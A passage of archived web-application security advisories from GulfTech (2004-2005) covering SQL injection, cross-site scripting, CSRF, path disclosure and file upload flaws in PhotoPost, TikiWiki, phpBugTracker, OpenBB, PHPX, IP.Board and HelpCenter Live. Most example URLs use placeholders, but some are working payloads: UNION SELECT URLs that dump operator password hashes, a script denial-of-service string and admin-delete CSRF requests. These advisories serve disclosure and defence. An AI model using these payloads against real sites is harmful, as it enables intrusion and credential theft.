index.php?act=module&module=gallery&cmd=post&cat=[SQL]
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=[SQL]
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=date&order_key=[SQL]
index.php?act=module&module=gallery&cmd=favs&op=add&img=[SQL]
index.php?act=module&module=gallery&cmd=slideshow&cat=[SQL]
index.php?act=module&module=gallery&cmd=user&user=[SQL]&op=view_album&album=1
index.php?act=module&module=gallery&cmd=user&user=[SQL]
index.php?act=module&module=gallery&cmd=user&user=1&op=view_album&album=[SQL]
Some of these are easier to exploit than others obviously, but the large number of SQL Injection possibilities definitely makes it that much easier for an attacker to get results from these issues.
Solution:
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,59 @@
PhotoPost Multiple Vulnerabilities
Vendor: All Enthusiast, Inc
Product: PhotoPost
Version: <= 4.6
Website: http://www.photopost.com/
BID: 9994
CVE: CVE-2004-1870 CVE-2004-1871
OSVDB: 10261 10262 10263 10264 10265 10266 10267 4771
SECUNIA: 11241
Description:
PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum. If you already have a forum (vBulletin, UBB Threads, phpBB, DCForum, or InvisionBoard), you'll appreciate that PhotoPost was designed to seamlessly integrate into your site without the need for your users to register twice and maintain two logins.
SQL Injection Vulnerabilities:
There are a large number of possibilities for SQL Injection in Photo Post. The most important thing to remember here is that this app ties directly into the affected website's forum system. So the aim of any smart attacker would be to try and use the vulnerabilities in this app to gain control of a forum by grabbing member password hashes. Below are example url's.
addfav.php?photo=[SQL]
comments.php?photo=[SQL]
comments.php?photo=1&cedit=[SQL]
index.php?cat=[SQL]
showgallery.php?ppuser=[SQL]
showgallery.php?cat=[SQL]
uploadphoto.php?cat=[SQL]
useralbums.php?ppaction=delalbum&albumid=[SQL]
useralbums.php?ppaction=editalbum&albumid=[SQL]
I have not released any POC exploit for these issues, because like I said before the real danger in these holes is the fact they can be used to act against an installed forum system or other info in the database, and this varies GREATLY on each Photo Post installation depending on what forum is installed, and the table prefix's etc etc. A google search returned over a half of a million websites running Photo Post, so you can imagine the number of possibilities of the environment varying.
Script Injection:
A malicious user can inject script and html into several fields in Photo Post. The dangers of this is it allows an attacker to run arbitrary code in the context of the browser on any user that visits their album. Also, it can be used to run admin commands and the like by injecting script or html into a photo description that is awaiting approval by an admin. When the admin views the photo to be approved the code is then executed. Some examples of where this can take place is in photo names, photo descriptions, album names, and album descriptions.
Cross Site Scripting:
There are a number of Cross Site Scripting issues present in Photo Post. And as previously mentioned the danger of it being used against the forum which it resides are also a very real threat. Below are a list of the XSS issues in showmembers.php, but it is also worth noting that any of the SQL Injection vulns previously mentioned can also be used for XSS if Injection cannot be successfully used.
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&ppuser=10[XSS]
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&password=[XSS]
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&stype=1[XSS]
showmembers.php?cat=1&si=&page=7&sort=7&perpage=1[XSS]
showmembers.php?cat=1&si=&page=7&sort=1[XSS]
showmembers.php?cat=1&si=&page=1[XSS]
showmembers.php?cat=1&si=1[XSS]
showmembers.php?cat=1[XSS]
Any of these XSS issues can be used to possibly steal cookies from the forum which Photo Post resides, run code in a users browser and more.
Denial of Service:
PhotoPost is prone to a denial of service attack that can allow an attacker to send a user (logged in or not) a malicious link that will result in the user not being able to gain access to the PhotoPost installation until they clear their cookies.
showmembers.php?perpage="><script>var%20i=1;%20while(i){alert(i);};</script>
This is possible because the "perpage" variable resides in the users cookie. Like I said before a user does not have to be logged in for this to happen.
Solution:
The vendor was contacted. Most of these issues do not seem to be present in 4.7 though. Users are encouraged to upgrade ASAP.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,132 @@
TikiWiki Multiple Vulnerabilities
Vendor: TikiWiki Project
Product: TikiWiki
Version: <= 1.8.1
Website: http://www.tikiwiki.org/
BID: 10100
CVE: CVE-2004-1923 CVE-2004-1924 CVE-2004-1925 CVE-2004-1926 CVE-2004-1927 CVE-2004-1928
OSVDB: 5181 5182 5183 5184 5185 5186 5187 5188 5189 5190 5191 5192 5193 5194 5195 5196 5197 5198 5199 5200 5201 5202 5203 5204 5205 520
SECUNIA: 11344
PACKETSTORM: 33062
Description:
Tiki CMS/Groupware (aka TikiWiki) is a powerful open-source Content Management System (CMS) and Groupware that can be used to create all sorts of Web applications, Sites, Portals, Intranets and Extranets. TikiWiki also works great as a Web-based collaboration tool. TikiWiki is a multi-purpose package with a lot of native options and sections that you can enable/disable as you need them. It is designed to be international, clean and extensible. TikiWiki incorporates all the features present in several excellent wiki systems available today plus a lot of new features and options, allowing your wiki application to be whatever you want it to be--from a simple wiki to a complex site for a whole user community with many intermediate steps. You can use TikiWiki as a forums site, a chatroom, for poll taking, and much more!
Path Disclosure Vulnerabilities:
There are several ways to discover the full physical path of the web directory on a server running TikiWiki. One way is by calling some files directly with a null or non-existent value as seen below.
banner_click.php
categorize.php
tiki-admin_include_directory.php
tiki-directory_search.php
Some files specifically prevent this by checking to see if they are called directly. I am not sure why more of the TikiWiki files do not use the same preventive measure. Also, just about anywhere that there is potential for SQL tampering (read about that later) you can leave the value null, and generate an error that will disclose the full physical path of the web server. Below are a handful of examples, but surely it is not all of them. The rest of this write up will use the following key when displaying example URL's
[INT] = Pretty much any integer will do
[VID] = Requires some sort of valid ID
[VPG] = The name of a valid page/user page
[JNK] = Just some random garbage
[SQL] = An evil SQL query ;)
[XSS] = Some code to cause XSS to happen
tiki-searchindex.php?highlight=[JNK]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=
messu-read.php?offset=[INT]&flag=&priority=&flagval=
messu-read.php?offset=[INT]&flag=&priority=
messu-read.php?offset=[INT]&flag=
messu-read.php?offset=
tiki-list_file_gallery.php?find=&galleryId=1&offset=[INT]&sort_mode=
tiki-usermenu.php?find=&offset=
tiki-usermenu.php?find=&offset=[INT]&sort_mode=
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[INT]&comments_maxComments=
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=priority_desc&find=[JNK]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=
tiki-directory_ranking.php?sort_mode=
tiki-file_galleries.php?find=&search=find&sort_mode=
tiki-list_faqs.php?find=&offset=[INT]&sort_mode=
tiki-list_faqs.php?find=&offset=
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=
tiki-list_trackers.php?find=&offset=
Cross Site Scripting:
There also happens to be a great number of places XSS (cross site scripting) can take place on a TikiWiki powered site. Below are a number of examples, but it is far from all of them. TikiWiki is a VERY large collection of files and it would be a waste of time to go through and find/list every one of them :)
tiki-switch_theme.php?theme=[XSS]
messu-mailbox.php?flags=&priority=&find=[XSS]
messu-mailbox.php?flags=&priority=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=date_desc&find=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=[XSS]
messu-read.php?offset=[INT]&flag=&priority=[XSS]
messu-read.php?offset=[INT]&flag=[XSS]
messu-read.php?offset=[XSS]
tiki-read_article.php?articleId=[VID][XSS]
tiki-browse_categories.php?find=&deep=off&parentId=[VID][XSS]
tiki-index.php?page=[VPG]&comments_threshold=[INT][XSS]
tiki-print_article.php?articleId=[VID][XSS]
tiki-list_file_gallery.php?galleryId=[VID][XSS]
tiki-upload_file.php?galleryId=[VID][XSS]
tiki-view_faq.php?faqId=[VID][XSS]
tiki-view_chart.php?chartId=[VID][XSS]
tiki-survey_stats_survey.php?surveyId=[VID][XSS]
SQL Injection Vulnerabilities:
Data seems to be passed into a query with little or no validation just about anywhere you encounter the *sort_mode or offset variable. It should be noted though that the offset variable takes place after the LIMIT statement, so the risk isn't very high as compared to data being passed earlier in the query. It still should be addressed though. Below are some examples. Once again keep in mind that this is not ALL instances of the *sort_mode or offset problems.
tiki-usermenu.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_file_gallery.php?find=&galleryId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-directory_ranking.php?sort_mode=[SQL]
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[INT]&comments_sort_mode=[SQL]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=[SQL]
tiki-directory_ranking.php?sort_mode=[SQL]
tiki-directory_search.php?how=or&words=&where=all&sort_mode=[SQL]
tiki-file_galleries.php?find=&search=find&sort_mode=[SQL]
tiki-list_faqs.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-list_blogs.php?find=&offset=[INT]&sort_mode=[SQL]
tiki-usermenu.php?find=&offset=[SQL]
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[SQL]
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[SQL]
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[SQL]
tiki-list_faqs.php?find=&offset=[SQL]
tiki-list_trackers.php?find=&offset=[SQL]
tiki-list_blogs.php?find=&offset=[SQL]
Code Injection:
It is possible for a malicious user to inject code into several places on a TikiWiki powered site including, but not limited to the link directory and the user profile. Below are examples of my findings, but I am pretty sure they also exist elsewhere
User Profile > Theme
User Profile > Country Field
User Profile > Real Name
User Profile > Displayed time zone
Directory > Add Site > Name
Directory > Add Site > Description
Directory > Add Site > URL
Directory > Add Site > Country
Remote File/Dir Enumeration Via Traversal:
This issue deals with the map feature TikiWiki uses. If you are using a version prior to 1.8 or if you have not enabled the map feature this probably does not affect you. The map feature calls a .map file to display whatever map a user would like to view, but the problem with this is that it allows you to traverse out of the web directory and call files elsewhere on the box. While this does not allow you to say pull up a file for viewing or download, it will allow you to confirm the existence of both files and directories on the affected box. Below is an example.
/tiki-map.phtml?mapfile=../../../../var/
I have also coded a small quick and dirty utility to automate the process of enumerating the existence of files on a machine running TikiWiki 1.8 with the map feature enabled. The utility can be found at the following location.
TikiWiki POC File Existance Enumeration Utility
Arbitrary File Upload:
It is possible to upload arbitrary files to a TikiWiki installation by including it in the image upload feature when creating your TikiWiki user page. The file then will be located here.
http://host/img/wiki_up/filenamehere
It should be pretty obvious that this will let an attacker upload arbitrary scripts and run commands with the rights of the webserver. This could be very dangerous.
Solution:
The TikiWiki Devel team have addressed these issues, and updates are available at their official website. I was VERY impressed with the way these guys handled the situation. Due to the size of the project, and the way some of these issues spanned across seemingly hundreds of files there was a great amount of work to be done. In some cases a dev team would have just addressed the critical issues and left the small issues like path disclosure for the next official release. These guys though took EVERY issue very seriously and assembled a security response team, and very organized response method for these issues and future issues. I do not think any researcher could ask for a better response from a vendor. They were friendly, professional, prompt, and serious. Hats off to them, and TikiWiki users should know they are in good hands, as these guys are a young project and already take security issues more seriously than alot of the big name open source projects out there :)
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,84 @@
phpBugTracke Multiple Vulnerabilities
Vendor: Benjamin Curtis
Product: phpBugTracke
Version: <= 0.9.1
Website: http://phpbt.sourceforge.net
BID: 10153
OSVDB: 5383 5384 5385 5386 5387
SECUNIA: 11416
Description:
phpBugTracker is meant to be a replacement for Bugzilla (one day). It's not quite there yet, but we're working on it. This project grew out of the frustrations I experienced in installing and using bugzilla. Those frustrations inspired my design goals: Simplicity in use and installation, Use templates to achieve presentation independence, Use a database abstraction layer to achieve database independence So this project will hopefully become a portable and powerful web-based bug tracking system.
SQL Injection Vulnerabilities:
phpBugTracker is prone to SQL Injection in several files. Some are not so dangerous, and others I would consider a pretty high risk. Lets look at the user.php for example to start off with.
$db->query("delete from ".TBL_BUG_VOTE." where user_id = $u and bug_id = $bug_id");
As we can see from that line of code taken from about line 30 of user.php it is clear that the $bug_id variable is passed into the query with no type of validation at all. Next lets have us a look at the bugs.php file. Around line 27 we will see the start of the vote_view() function. It too is vulnerable to SQL Injection attacks.
///
/// View the votes for a bug
function vote_view($bug_id) {
global $u, $db, $t, $STRING;
$t->assign('votes', $db->getAll('select login, v.created_date '.
'from '.TBL_AUTH_USER.' u, '.TBL_BUG_VOTE." v ".
"where u.user_id = v.user_id and bug_id = $bug_id ".
'order by v.created_date'));
$t->wrap('bugvotes.html', 'bugvotes');
}
This same type of SQL Injection vulnerability also resides in the vote_bug() function in bugs.php. It is the same thing really, the $bug_id variable is passed to the query unchecked. Now for query.php which has many problems with not validating input. Even more so than the previously mentioned files. First we see a problem in the delete_saved_query() function. Around line 27. Once again there is no input validation at all. Look at the $queryid variable.
function delete_saved_query($queryid) {
global $db, $u, $me, $_gv;
$db->query("delete from ".TBL_SAVED_QUERY." where user_id = $u
and saved_query_id = $queryid");
if (!empty($_gv['form']) and $_gv['form'] == 'advanced') {
header("Location: $me?op=query&form=advanced");
} else {
header("Location: $me?op=query");
}
}
There are also other SQL Injection issues in the query.php file. Namely with search queries, and the way they are sorted, or rather the sort method and the order are called from the GET parameters with no validation. Examples below
query.php?page=2&order=severity.sort_order&sort=[SQL]
query.php?page=2&order=[SQL]
query.php?page=[SQL]
query.php?op=delquery&queryid=[SQL]&form=simple
query.php?projects=[SQL]&op=doquery
bug.php?op=vote&bugid=[SQL]
bug.php?op=viewvotes&bugid=[SQL]
user.php?op=delvote&bugid=[SQL]
Cross Site Scripting:
There are a number of XSS (Cross Site Scripting) issues in phpBugTracker. And a good number of them result from the way phpBugTracker handles the output of error messages. For example, lets say an attacker is not knowledgeable in SQL, but he is still up to no good. he can easily use the previously mentioned SQL vulns, cause an error, and inject script or the like into the url thus causing whatever actions he likes to be taken. Below are some example requests.
bug.php?op=show&bugid=[XSS]
query.php?page=2&order=severity.sort_order&sort=[XSS]
query.php?page=2&order=[XSS]
query.php?page=[XSS]
query.php?op=delquery&queryid=[XSS]&form=simple
query.php?projects=[XSS]&op=doquery
bug.php?op=vote&bugid=[XSS]
bug.php?op=viewvotes&bugid=[XSS]
bug.php?op=add&project=[XSS]
user.php?op=delvote&bugid=[XSS]
Script Injection Vulnerabilities:
There is a problem with input not being validated when a user adds a bug to the phpBugTracker database. An attacker can use this problem to inject code into the fields when adding a bug, and then that code will be ran in the browser of anyone who views the particular bug.
Solution:
frog-m@n from phpsecure.info was kind enough to supply a fix for these issues :) The fix can be downloaded from the following link.
http://www.phpsecure.info/v2/.php?zone=pDl&id=169
The developers of phpBugTracker were contacted weeks ago and are believed to be in the process of supplying a fix for these issues.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,81 @@
OpenBB Multiple Vulnerabilities
Vendor: OpenBB Group
Product: OpenBB
Version: <= 1.0.6
Website: http://www.openbb.com/
BID: 10214
CVE: CVE-2004-1965
OSVDB: 5649 5650 5651 5652
SECUNIA: 11481
PACKETSTORM: 33180
Description:
OpenBB is a fast, lightweight, powerful bulletin board written in PHP/MySQL. Main features include: full customization via styles templates, instant messaging, private messaging, categories, member ranks, poll based threads, moderation, BB codes, thread notifications, Avatars, member lists, private forums and more.
Cross Site Scripting Vulnerabilities:
OpenBB is prone to Cross Site Scripting in multiple files. This may allow an attacker to run code in the context of a users browser, or used to harvest sensitive information from a user such as cookie information. Below are some examples of the XSS issues in OpenBB.
/member.php?action=login&redirect=[XSS]
/myhome.php?action=newmsg&to=blah[XSS]
/post.php?action=mail&TID=1[XSS]
/index.php?redirect=[XSS]
SQL Injection Vulnerabilities:
It may be possible for an attacker to execute arbitrary SQL queries due to user supplied input not being properly sanitized. Lets have a look at some code from one of the affected files .. post.php
// Check to make sure they are not posting to a category
$query_type = new query($SQL, "SELECT type FROM ".$prefix."forum_display
WHERE forumid = $FID");
$query_type->getrow();
$ftype = $query_type->field('type');
As we can see from this code, the $FID variable seems to get passed directly to the query without being validated, thus allowing for an attacker to execute malicious queries. This is not the only vulnerable file though. Below are a list of similarly vulnerable files.
/board.php?FID=1[SQL]
/member.php?action=list&page=1&sortorder=[SQL]
/member.php?action=list&page=1&sortorder=username&perpage=[SQL]
/member.php?action=passwdsend&resetid=blah&id=2[SQL]
/search.php?&sortby=dateline&sort=DESC&q=open&forums%5B[SQL]%5D
/post.php?action=edit&page=1&PID=1[SQL]
/post.php?action=post&FID=1[SQL]
These files are prone to similar attacks because they allow input that has not been validated to be executed in the query. This can be used for example to pull users password hashes.
Arbitrary Command Execution:
This is really in my opinion at least, a very fundamental flaw. As stated in the HTTP/1.1 RFC (RFC 2616 Section 9.1.1 "Safe Methods") no GET request should be used to make any significant actions. This however would not be such a big deal if there was some sort of auth key or session id in place to verify the validity of actions, but there isn't. In short all an attacker has to do is send an admin a pm, or make a malicious post with the desired command and the action will silently execute. For example below are some example administrative actions that an attacker could include in an image tag or malicious link.
/cp_forums.php?do=remove&id=1
/cp_usergroup.php?do=remove&UGID=1
/cp_ipbans.php?action=do_delip&ipid=1
This kind of attack can also be used to run user and moderator commands as seen below. These are only examples, not all the possibilities.
/myhome.php?action=delmsg&box=inbox&id=all
/post.php?action=edit&PID=1&send=1&delete=yes
/moderator.php?action=announce&TID=1
OpenBB actually tries to prevent these kind of attacks by filtering out certain input as seen in /lib/codeparse.php but this does not work. Lets have a look at the code.
case 'img':
if(!preg_match('#^(http|https)://(.*?)\.(gif|jpg|jpeg|png)$#', $inside) )
$return = '[ invalid image ]';
else
$return = '<img src="' .str_replace('"', '', $inside). '" alt="User-Posted
Image (tm)" border="0" />';
break;
All an attacker has to do in order to have the command executed successfully is make sure the url within the image tag ends with an allowed extension. This is not very safe at all because we can make up a variable, add a good extension and the code is still ran. For example
/post.php?action=edit&PID=1&send=1&delete=yesI=blah.jpg
As we can see from the above examples, this issue can be used by a malicious person to all but completely sabotage a site running OpenBB. In the past I have seen phpBB for example deal with the same issue of using unsafe GET requests by limiting the bbcode to only allow images with a valid extension. However this is a bad idea because it does not solve the problem at all, and to this day all phpBB versions are vulnerable to having arbitrary posts deleted and more just by visiting a malicious web page or link. It is a serious issue and should be treated as such. It greatly impacts the security of a web application. Even using the POST method without an auth key or the like is a bad idea in my opinion.
Solution:
Vendors were contacted many weeks ago and plan to release a fixed version soon. Check the OpenBB website for updates and official release details.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,70 @@
PHPX Multiple Vulnerabilities
Vendor: PHPX
Product: PHPX
Version: <= 3.26
Website: http://www.phpx.org
BID: 10283 10284
CVE: CVE-2004-2364
OSVDB: 5903 5904 5905 5906 5907 5908 5909 5910 5911
SECUNIA: 11554
PACKETSTORM: 33251
Description:
PHPX is a constantly evolving and changing Content Management System (CMS). PHPX is highly customizable and high powered all in one system. PHPX provides content management combined with the power of a portal by including in the core package modules such as FAQ, polls, and forums. PHPX uses dynamic-template-design, what this means is that you have the power to control what your site will look like. Themes are included, but not required. You can create the page however you want, and PHPX will just insert code where you want it. No more 3 columns if you don’t want it! Written in the powerful server language, PHP, and utilizing the amazingly fast and secure database MySQL, PHPX is a great solution for all size website communities, at the best price possible…free!
Cross Site Scripting Vulnerabilities:
PHPX uses a function in the includes/functions.inc.php file that strips out bad stuff from the uri called checkURI() This is not a bad idea when it comes to dealing with XSS issues, however it is poorly coded and does not properly sanitize the values retrieved from the uri. Lets have a look
function checkURI(){
$checkArray = array(">","<","(",")");
foreach($checkArray as $c){
if (substr_count($_SERVER["REQUEST_URI"], $c)){ die("HACK ATTEMPT"); }
}
}
As you can see from this function only a few items are to be stripped from the uri. This can easily be circumvented by hex encoding script and then by sending the requests to a vulnerable file. Below are just a few examples.
forums.php?forum_id=[VID]&limit=25%3Ciframe%3E
forums.php?forum_id=[VID]&topic_id=[VID]&limit=15%3Ciframe%3E
users.php?action=&limit=100%3Ciframe%3E
users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
forums.php?action=post&forum_id=[VID]%3E%3Ciframe%3E
forums.php?action=search&search_id=[VID]&limit=25%3E%3Ciframe%3E
users.php?action=email&user_id=%3E%3Ciframe%3E
users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
forums.php?forum_id=[VID]%3E%3Ciframe%3E
forums.php?forum_id=[VID]&topic_id=[VID]&limit=%3E%3Ciframe%3E
forums.php?action=post&forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
news.php?news_id=[VID]%3E%3Ciframe%3E
forums.php?forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
Where VID is should be a valid id of some sorts depending on the function that is called. I am sure there are more XSS issues than this, but the real point is to show PHPX's filtering function does not work, and not to find every single place where there is possibility for cross site scripting. The checkURI() function isn't a bad idea, but should definitely use something like the strip_tags() function or htmlspecialchars() to better validate.
Path Disclosure Vulnerabilities:
It is possible for an attacker to learn the full physical path of the PHPX installation. This can be accomplished by sending a null or invalid value to several instances of the $limit variable. For example see below
forums.php?action=search&search_id=[VID]&limit=
This uri will result in a MySQL_fetch_row() error and reveal the full physical path of the PHPX installation. This is because $limit isn't properly validated.
Arbitrary Command Execution:
This is really in my opinion at least, a very fundamental flaw. As stated in the HTTP/1.1 RFC (RFC 2616 Section 9.1.1 "Safe Methods") no GET request should be used to make any significant actions. This however would not be such a big deal if there was some sort of auth key or session id in place to verify the validity of actions, but there isn't. In short all an attacker has to do is send an admin a pm, or make a malicious post with the desired command and the action will silently execute.
/admin/page.php?action=delete&page_id=[VID]
/admin/news.php?action=delete&news_id=[VID]
/admin/user.php?action=delete&user_id=[VID]
/admin/images.php?action=delete&image_id=[VID]
/admin/page.php?action=deletePoll&poll_id=[VID]
/admin/forums.php?action=words&subaction=delete&word_id=[VID]
/admin/forums.php?action=flag&subaction=delete&flag_id=[VID]
/admin/forums.php?action=xcode&subaction=delete&xcode_id=[VID]
As we can see from the above examples, this issue can be used by a malicious person to all but completely sabotage a site running PHPX. If any one of these commands were placed in an image tag an attacker could delete users, news items, pages, images, polls, word censors, flags, xcode and probably more. In the past I have seen phpBB for example deal with the same issue of using unsafe GET requests by limiting the bbcode to only allow images with a valid extension. However this is a bad idea because it does not solve the problem at all, and to this day all phpBB versions are vulnerable to having arbitrary posts deleted and more just by visiting a malicious web page or link. It is a serious issue and should be treated as such. It greatly impacts the security of a web application. Even using the POST method without an auth key or the like is a bad idea.
Solution:
The lead developer was first informed of these issues over a month ago. All of the issues should be addressed. One of the new features to make phpX more secure is a auth_key schema to validate actions etc. All in all I think they did a great job and take the security of their product very seriously :) phpX 3.3.0 is to be released Monday, May the 3rd. Upgrade is strongly advised.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,43 @@
IP.Board Design Error
Vendor: Invision Power Services
Product: IP.Board
Version: <= 1.3.1
Website: http://www.invisionpower.com/
BID: 10559
Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world.
IP Spoofing Vulnerability:
There lies a vulnerability in all version of Invision Power Board that allow a user to spoof his/her IP address by creating a bogus X_FORWARDED_FOR HTTP Header entry. This condition can also be caused by a user unknowingly if they use a proxy to access the internet. For example, private LAN based IP's will be logged which are impossible to trace. Below we see a snip of the vulnerable code taken from the file sources/functions.php @ line 1440
//----------------------------------------
// Sort out the accessing IP
// (Thanks to Cosmos and schickb)
//----------------------------------------
$addrs = array();
foreach( array_reverse( explode( ',', $HTTP_X_FORWARDED_FOR ) ) as $x_f )
{
$x_f = trim($x_f);
if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
{
$addrs[] = $x_f;
}
}
$addrs[] = $_SERVER['REMOTE_ADDR'];
$addrs[] = $HTTP_PROXY_USER;
$addrs[] = $REMOTE_ADDR;
So, basically if the X_FORWARDED_FOR header entry is present it ignores everything else? Seems to be the case. Not a good idea at all. This vulnerabilty makes the IP logging feature of IPB totally useless. Also, IP's are used in the sessions, as one of the ways to uniquely identiofy a user. For example, if you take your admin session ID (adsess) and then use it from a different IP than the one the session was created with you get an error message that the IP is not yours etc etc. So, as you can see this issue could probably cause alot more problems than meets the eye.
Solution:
Until there is an official fix I just commented out the foreach loop shown in the previous code snippet. It's not a pretty solution but works for now.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,74 @@
HelpCenter Live! Multiple Vulnerabilities
Vendor: Michael Bird
Product: HelpCenter Live!
Version: <= 1.2.7
Website: http://www.helpcenterlive.com/
BID: 13666 13667
CVE: CVE-2005-1672 CVE-2005-1673 CVE-2005-1674
OSVDB: 16651 16652 16653 16654 16655 16656 16657 16658
SECUNIA: 15401
PACKETSTORM: 39275
Description:
Help Center Live is a `Live` help desk system written in PHP using a MySql database backend that features Live Support, Trouble Tickets and FAQ within one project. This is a very popular application, especially with webhosts and other services. Unfortunately Help Center Live is vulnerable to Sql injection, Script Injection, and Cross Site Scripting attacks, but the most serious of the vulnerabilities mentioned (The SQL Injection attacks) require magic_quotes_gpc to be set to off.
Cross Site Scripting:
Cross site scripting exists in Help Center Live. This vulnerability exists due to user supplied input not being checked properly. Below is an example.
http://path/faq/index.php?find=blah[CODEGOESHERE]&search=Search
This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser. This is the same vulnerability I had reported in my previous Help Center Live advisory, but it seems that the issue was never resolved properly.
Script Injection Vulnerability:
There are several script injection vulnerabilities in Help Center Live that allows an attacker to force a logged in operator to run malicious code in their browser. This can be accomplished by an attacker by entering malicious code into the name or message fields when requesting a chat, or by entering malicious script into the body of a message when opening a trouble ticket. Also, an attacker can use this to retrieve the md5 password of the operator (the md5 password is stored in the cookie), or can use this issue combined with the soon to be mentioned CSRF issue and force an admin to unknowingly or knowingly execute arbitrary commands.
Cross Site Request Forgeries:
Help Center Live uses the GET method for some admin actions, and the only check is if the admin is logged in. This makes it easy for an attacker to trick a logged in admin to perform arbitrary requests.
http://www.example.com/support/cp/tt/view.php?attach=y&tid=2
http://www.example.com/support/cp/tt/view.php?tid=2&delete=1
The above url's will (a) cause an operator to allow attachments for a trouble ticket that is opened with the id of two (b) cause an operator to delete an attachment. There may be more instances of CSRF in Help Center Live, but I will leave that for someone else to mess with :) For more information on CSRF visit the following url: http://www.tux.org/~peterw/csrf.txt
SQL Injection:
There are a number of SQL Injection vulnerabilities in Help Center Live, as little/no sanitation is made on incoming variables passed to the SQL Query. In my opinion the only reason these issues have not been found already is because (a) everything is encapsulated in single quotes, so if magic quotes gpc is on then we cannot exploit the issues (b) Every single SQL Injection issue I am about to talk about is a somewhat blind SQL Injection issue. First we have a couple "run of the mill" SQL Injection issues in tt/view.php and faq/index.php respectively. I will not spend a lot of time on the technical details of these issues because they are nothing we have not seen a million times. Here is some vulnerable code snip though to give an understanding.
$TICKET_tid = $_GET["tid"];
$result = DATABASE_query("SELECT * FROM ".$DB_prefix."tickets WHERE
id='$TICKET_tid' AND username='$TICKETS_username'");
if ($get = DATABASE_fetch($result)) {
As we can see from the above code $TICKET_tid is never sanitized and taken directly from the user supplied $_GET. We cannot exploit this issue, or any other issue in this advisory because the data is encapsulated in single quotes, and magic_quotes_gpc will not allow us to break the query. Below are example requests that will allow for us to grab an operators username and password hash by exploiting the above code, and also very similar code in /faq/index.php
http://www.example.com/support/faq/index.php?x=f&id=-99'%20UNION%20SELECT%200,
0,operator,password%20FROM%20hcl_operators%20WHERE%201/*
http://www.example.com/support/tt/view.php?tid=-99'%20UNION%20SELECT%200,0,0,
operator,password,0,0,0,0,0%20FROM%20hcl_operators%20WHERE%201/*
There are also a few more SQL Injection vulnerabilities in Help Center Live that are a bit more interesting, and these issues lie in lh/chat_download.php, lh/icon.php, and tt/download.php. I find these particular examples a bit more interesting because they are download scripts, and successful exploitation leads to things like the downloaded file having the desired password hash, the content type in the headers displaying the hash, or having a base64_decoded version of the hash that may look something like this (‡íÞ÷á¯=Ùî7}ÿ7Ã?×uõíÃkN¹) but can be base64 encoded into the md5 hash.
http://www.example.com/support/tt/download.php?fid=-99'%20UNION%20SELECT%200,0,0,
password,0,operator,0,0%20FROM%20hcl_operators%20WHERE%20id='1
http://www.example.com/support/lh/icon.php?status=-99' UNION SELECT password,
password FROM hcl_operators WHERE id=1/*
http://www.example.com/support/lh/chat_download.php?fid=-99' UNION SELECT password,
operator,password FROM hcl_operators WHERE id=1/*
Again, exploitation of these issues requires magic_quotes_gpc set to off on the server hosting the Help Center Live installation.
Solution:
According to the develepor a patch has been available for some time now.
Credits:
James Bercegay of the GulfTech Security Research Team

View file

@ -0,0 +1,57 @@
WHM.AutoPilot Multiple Vulnerabilities
Vendor: Benchmark Designs, LLC
Product: WHM.AutoPilot
Version: <= 2.4.6.5
Website: http://www.whmautopilot.com/
BID: 12119
CVE: CVE-2004-1420 CVE-2004-1421 CVE-2004-1422
OSVDB: 12693 12694 12695 12696 12697
SECUNIA: 13673
PACKETSTORM: 35559
Description:
